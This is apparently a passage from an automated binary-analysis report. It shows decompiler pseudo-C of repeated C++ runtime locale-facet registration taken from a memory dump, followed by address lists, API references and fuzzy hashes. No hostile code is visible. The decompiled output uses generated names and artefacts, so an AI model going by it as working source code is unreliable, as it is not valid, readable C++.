																																								_t777 = E0042B315(_a8, E0042B22E(0x4edd7c, _t776, _t799, __eflags));
																																								__eflags = _t777;
																																								if(_t777 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t777);
																																								} else {
																																									__eflags = _t799;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E4CF(_t777, _t799, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t777, _t799);
																																											E00488DEA( &_v20, 0);
																																											_t800 =  *0x4ede04; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t800;
																																											_t778 = E0042B315(_a8, E0042B22E(0x4edda8, _t777, _t800, __eflags));
																																											__eflags = _t778;
																																											if(_t778 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t778);
																																											} else {
																																												__eflags = _t800;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E537(_t778, _t800, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t778, _t800);
																																														E00488DEA( &_v20, 0);
																																														_t801 =  *0x4eddd4; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t801;
																																														_t779 = E0042B315(_a8, E0042B22E(0x4edd80, _t778, _t801, __eflags));
																																														__eflags = _t779;
																																														if(_t779 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t779);
																																														} else {
																																															__eflags = _t801;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E59F(_t779, _t801, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t779, _t801);
																																																	E00488DEA( &_v20, 0);
																																																	_t802 =  *0x4ede08; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t802;
																																																	_t780 = E0042B315(_a8, E0042B22E(0x4eddac, _t779, _t802, __eflags));
																																																	__eflags = _t780;
																																																	if(_t780 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t780);
																																																	} else {
																																																		__eflags = _t802;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E607(_t780, _t802, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t780, _t802);
																																																				E00488DEA( &_v20, 0);
																																																				_t803 =  *0x4eddd8; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t803;
																																																				_t781 = E0042B315(_a8, E0042B22E(0x4edd84, _t780, _t803, __eflags));
																																																				__eflags = _t781;
																																																				if(_t781 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t781);
																																																				} else {
																																																					__eflags = _t803;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E682(_t781, _t803, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							E0049D90B(0x4d6966, _t781, _t803);
																																																							E00488DEA( &_v20, 0);
																																																							_t804 =  *0x4ede24; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t804;
																																																							_t782 = E0042B315(_a8, E0042B22E(0x4eddc8, _t781, _t804, __eflags));
																																																							__eflags = _t782;
																																																							if(_t782 != 0) {
																																																								L124:
																																																								E00488E42( &_v20);
																																																								return E0049D8D4(_t782);
																																																							} else {
																																																								__eflags = _t804;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E6FD(_t782, _t804, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										E0049D90B(0x4d6966, _t782, _t804);
																																																										E00488DEA( &_v20, 0);
																																																										_t805 =  *0x4eddf4; // 0x0
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t805;
																																																										_t783 = E0042B315(_a8, E0042B22E(0x4edda0, _t782, _t805, __eflags));
																																																										__eflags = _t783;
																																																										if(_t783 != 0) {
																																																											L131:
																																																											E00488E42( &_v20);
																																																											return E0049D8D4(_t783);
																																																										} else {
																																																											__eflags = _t805;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E769(_t783, _t805, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													E0049D90B(0x4d6966, _t783, _t805);
																																																													E00488DEA( &_v20, 0);
																																																													_t806 =  *0x4ede28; // 0x0
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t806;
																																																													_t784 = E0042B315(_a8, E0042B22E(0x4eddcc, _t783, _t806, __eflags));
																																																													__eflags = _t784;
																																																													if(_t784 != 0) {
																																																														L138:
																																																														E00488E42( &_v20);
																																																														return E0049D8D4(_t784);
																																																													} else {
																																																														__eflags = _t806;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E7D5(_t784, _t806, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																E0049D90B(0x4d6966, _t784, _t806);
																																																																E00488DEA( &_v20, 0);
																																																																_t807 =  *0x4eddf8; // 0x0
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t807;
																																																																_t785 = E0042B315(_a8, E0042B22E(0x4edd78, _t784, _t807, __eflags));
																																																																__eflags = _t785;
																																																																if(_t785 != 0) {
																																																																	L145:
																																																																	E00488E42( &_v20);
																																																																	return E0049D8D4(_t785);
																																																																} else {
																																																																	__eflags = _t807;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		_t486 = E0048E849(_t785, _t807, __eflags);
																																																																		_pop(_t700);
																																																																		__eflags = _t486 - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(_t807);
																																																																			_t808 = _t700;
																																																																			_t254 = _t808 + 0x10;
																																																																			 *_t254 =  *(_t808 + 0x10) & 0x00000000;
																																																																			__eflags =  *_t254;
																																																																			 *((intOrPtr*)(_t808 + 0x14)) = 7;
																																																																			 *_t808 = 0;
																																																																			E00494BE0( *((intOrPtr*)(_t834 + 8)));
																																																																			return _t808;
																																																																		} else {
																																																																			_t785 = _v16;
																																																																			_v16 = _t785;
																																																																			_v4 = 1;
																																																																			E0048919D(_t785);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t785 + 4))))();
																																																																			 *0x4eddf8 = _t785;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t785 = _t807;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t784 = _v16;
																																																																_v16 = _t784;
																																																																_v4 = 1;
																																																																E0048919D(_t784);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t784 + 4))))();
																																																																 *0x4ede28 = _t784;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t784 = _t806;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t783 = _v16;
																																																													_v16 = _t783;
																																																													_v4 = 1;
																																																													E0048919D(_t783);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t783 + 4))))();
																																																													 *0x4eddf4 = _t783;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t783 = _t805;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t782 = _v16;
																																																										_v16 = _t782;
																																																										_v4 = 1;
																																																										E0048919D(_t782);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t782 + 4))))();
																																																										 *0x4ede24 = _t782;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t782 = _t804;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t781 = _v16;
																																																							_v16 = _t781;
																																																							_v4 = 1;
																																																							E0048919D(_t781);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t781 + 4))))();
																																																							 *0x4eddd8 = _t781;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t781 = _t803;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t780 = _v16;
																																																				_v16 = _t780;
																																																				_v4 = 1;
																																																				E0048919D(_t780);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t780 + 4))))();
																																																				 *0x4ede08 = _t780;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t780 = _t802;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t779 = _v16;
																																																	_v16 = _t779;
																																																	_v4 = 1;
																																																	E0048919D(_t779);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t779 + 4))))();
																																																	 *0x4eddd4 = _t779;
																																																	goto L103;
																																																}
																																															} else {
																																																_t779 = _t801;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t778 = _v16;
																																														_v16 = _t778;
																																														_v4 = 1;
																																														E0048919D(_t778);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t778 + 4))))();
																																														 *0x4ede04 = _t778;
																																														goto L96;
																																													}
																																												} else {
																																													_t778 = _t800;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t777 = _v16;
																																											_v16 = _t777;
																																											_v4 = 1;
																																											E0048919D(_t777);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t777 + 4))))();
																																											 *0x4eddd0 = _t777;
																																											goto L89;
																																										}
																																									} else {
																																										_t777 = _t799;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t776 = _v16;
																																								_v16 = _t776;
																																								_v4 = 1;
																																								E0048919D(_t776);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t776 + 4))))();
																																								 *0x4ede00 = _t776;
																																								goto L82;
																																							}
																																						} else {
																																							_t776 = _t798;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t775 = _v16;
																																					_v16 = _t775;
																																					_v4 = 1;
																																					E0048919D(_t775);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t775 + 4))))();
																																					 *0x4eddec = _t775;
																																					goto L75;
																																				}
																																			} else {
																																				_t775 = _t797;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t774 = _v16;
																																		_v16 = _t774;
																																		_v4 = 1;
																																		E0048919D(_t774);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t774 + 4))))();
																																		 *0x4eddf0 = _t774;
																																		goto L68;
																																	}
																																} else {
																																	_t774 = _t796;
																																	goto L68;
																																}
																															}
																														} else {
																															_t773 = _v16;
																															_v16 = _t773;
																															_v4 = 1;
																															E0048919D(_t773);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t773 + 4))))();
																															 *0x4ede1c = _t773;
																															goto L61;
																														}
																													} else {
																														_t773 = _t795;
																														goto L61;
																													}
																												}
																											} else {
																												_t772 = _v16;
																												_v16 = _t772;
																												_v4 = 1;
																												E0048919D(_t772);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t772 + 4))))();
																												 *0x4ede20 = _t772;
																												goto L54;
																											}
																										} else {
																											_t772 = _t794;
																											goto L54;
																										}
																									}
																								} else {
																									_t771 = _v16;
																									_v16 = _t771;
																									_v4 = 1;
																									E0048919D(_t771);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t771 + 4))))();
																									 *0x4edde8 = _t771;
																									goto L47;
																								}
																							} else {
																								_t771 = _t793;
																								goto L47;
																							}
																						}
																					} else {
																						_t770 = _v16;
																						_v16 = _t770;
																						_v4 = 1;
																						E0048919D(_t770);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t770 + 4))))();
																						 *0x4ede18 = _t770;
																						goto L40;
																					}
																				} else {
																					_t770 = _t792;
																					goto L40;
																				}
																			}
																		} else {
																			_t769 = _v16;
																			_v16 = _t769;
																			_v4 = 1;
																			E0048919D(_t769);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t769 + 4))))();
																			 *0x4edde4 = _t769;
																			goto L33;
																		}
																	} else {
																		_t769 = _t791;
																		goto L33;
																	}
																}
															} else {
																_t768 = _v16;
																_v16 = _t768;
																_v4 = 1;
																E0048919D(_t768);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t768 + 4))))();
																 *0x4ede14 = _t768;
																goto L26;
															}
														} else {
															_t768 = _t790;
															goto L26;
														}
													}
												} else {
													_t767 = _v16;
													_v16 = _t767;
													_v4 = 1;
													E0048919D(_t767);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t767 + 4))))();
													 *0x4edde0 = _t767;
													goto L19;
												}
											} else {
												_t767 = _t789;
												goto L19;
											}
										}
									} else {
										_t766 = _v16;
										_v16 = _t766;
										_v4 = 1;
										E0048919D(_t766);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t766 + 4))))();
										 *0x4ede10 = _t766;
										goto L12;
									}
								} else {
									_t766 = _t788;
									goto L12;
								}
							}
						} else {
							_t765 = _v16;
							_v16 = _t765;
							_v4 = 1;
							E0048919D(_t765);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t765 + 4))))();
							 *0x4eddfc = _t765;
							goto L5;
						}
					} else {
						_t765 = _t787;
						goto L5;
					}
				}
			}

0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c458
0x0048c45d
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465

APIs

__EH_prolog3.LIBCMT ref: 0048C42E
std::_Lockit::_Lockit.LIBCPMT ref: 0048C438

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

ctype.LIBCPMT ref: 0048C472
std::_Facet_Register.LIBCPMT ref: 0048C489
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C4A9
Concurrency::cancel_current_task.LIBCPMT ref: 0048C4B6

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registerctype
String ID:
API String ID: 297941480-0
Opcode ID: ee12be97501bd81eb225b8756869f46fc4d4bae759bb105ad5806daf5b86a69d
Instruction ID: 34c17f56222969e17ad71da87fb98addf7986ad3bd1835fb09125396931491aa
Opcode Fuzzy Hash: ee12be97501bd81eb225b8756869f46fc4d4bae759bb105ad5806daf5b86a69d
Instruction Fuzzy Hash: 46010071D002168BCB05FBA5D8A5ABE7771AF80724F14480FE411AB382CF3C9E018B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0048C4BC, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C4BC(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v236;
				signed int _t249;
				void* _t463;
				short* _t667;
				void* _t728;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t734;
				signed int _t735;
				signed int _t736;
				signed int _t737;
				signed int _t738;
				signed int _t739;
				signed int _t740;
				signed int _t741;
				signed int _t742;
				signed int _t743;
				signed int _t744;
				signed int _t745;
				signed int _t746;
				signed int _t747;
				signed int _t748;
				void* _t749;
				signed int _t750;
				signed int _t751;
				signed int _t752;
				signed int _t753;
				signed int _t754;
				signed int _t755;
				signed int _t756;
				signed int _t757;
				signed int _t758;
				signed int _t759;
				signed int _t760;
				signed int _t761;
				signed int _t762;
				signed int _t763;
				signed int _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t768;
				signed int _t769;
				short* _t770;
				void* _t795;
				void* _t796;

				_push(8);
				E0049D90B(0x4d6966, _t728, _t749);
				E00488DEA( &_v20, 0);
				_t750 =  *0x4ede10; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t750;
				_t249 = E0042B315(_a8, E0042B22E(0x4eddb4, _t728, _t750, _t796));
				_t729 = _t249;
				if(_t249 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t729);
				} else {
					if(_t750 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048DFE5(_t729, _t750, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t729, _t750);
							E00488DEA( &_v20, 0);
